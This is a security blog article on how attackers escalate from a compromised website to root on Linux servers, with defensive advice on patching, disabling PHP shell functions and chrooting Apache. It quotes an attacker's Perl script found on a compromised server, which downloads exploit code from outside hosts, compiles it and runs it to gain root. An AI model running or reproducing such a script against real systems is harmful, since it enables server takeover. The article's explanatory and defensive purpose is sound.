From a Site Compromise to Full Root Access - Local Root Exploits - Part II

When an attacker manages to compromise and get access to a website, they won't likely stop there, they will aim to gain full root (admin) access to the entire server. If there are more websites hosted on the server being attacked, It is likely they will attempt to compromise every single one of them.

How can an attacker escalate their privileges? How can they go from FTP-only access to getting root on the server? In this series of articles we will show some techniques that attackers are using to go from confined FTP/web access, to full root level access on a server.

Local Root Exploits

If you missed Part I from the series, we recommend you go there and read it first. Part I shows how an attacker who is confined to an FTP or web account can increase their access, and look around the whole server, including viewing passwords and configuration files.

Sure, this still does not give them full root (admin) access. Well, if they are lucky enough to find a root password in any of the configurations it would, but that doesn't always happen.

Don't be fooled though, what they really want is root (uid 0), the idea is to increase their privileges from normal user to root. To do this they need to find a vulnerability that allows them to escalate their privileges.

These vulnerabilities are easy to find. Very easy in fact. In the public exploit database, we can see at least 3 local root exploits against Linux released in the month of May:

> 2013-05-14 – Linux PERF_EVENTS – Local Root Exploit
> 2013-05-14 – Linux Kernel open-time Capability file_ns_capable() Privilege Escalation
> 2013-05-01 – sudo v1.8.0-1.8.3p1 (sudo_debug) – Root Exploit + glibc FORTIFY_SOURCE Bypass

If the kernel/system is not always updated, the attacker could leverage those bugs to get root access.

Automating the local Root Exploits

Since those local vulnerabilities are so common, the attackers just automate their work to try them all. On a compromised server we found this script:

```
#! /usr/bin/perl
# Exploit tools v2.0 coded by iskorpitx (Turkish Hacker)
# linux serverlerde gecerlidir
# by iskorpitx
{
system("rm *.txt”);
system("wget http://www.euromedalex.org/profiles/a.c”);
system("gcc a.c -o ab”);
system("chmod 777 ab”);
system("./ab”);
system("./id”);
system("wget http://www.euromedalex.org/profiles/a”);
system("chmod 777 a”);
system("./a”);
system("id”);
system("rm ab.txt”);
system("wget www.cuia.net/media/ab.txt”);
system("wget www.kassfm.co.ke/cache/15704.c”);
system("gcc 15704.c -o 1704″);
system("chmod 777 1704″);
system("./1704″);
system("id”);
.. many more entries ..
```

This script downloads multiple exploits and tries all of them in sequence. The first one tries the sudo format string exploit, the other is a Linux Kernel <= 2.6.37 local privilege escalation and so on. You can't just have an almost fully patched system. If one vulnerability is missed, the attacker get root.

0-day Exploits

0-day exploits are probably the scariest to deal with, and are common with local vulnerabilities. The recent CVE-2013-2094 is an example which was

public before there were patches available. Another concern is that kernel-level patches require a restart and most admins don't like to restart their servers often. Even a patched server that didn't get restarted it still vulnerable.

Protecting against local escalations

The most important thing an admin can do is to always keep their servers updated. If all known vulnerabilities are patched, the attackers won't have much to work with. We also recommend (whenever possible) to disable shell execution for the web users. For example, you can modify your php.ini to prevent functions like system, exec, and popen from running. This make it harder for attackers to run their shells and commands:

```
disable_functions=exec,passthru,shell_exec,system,proc_open,popen
```

Another good option is to put Apache (or whatever web server you are running) under a chroot jail with a minimal set of commands available.

Do you have recommendations? How do you lock down your server in an effort to thwart local attacks?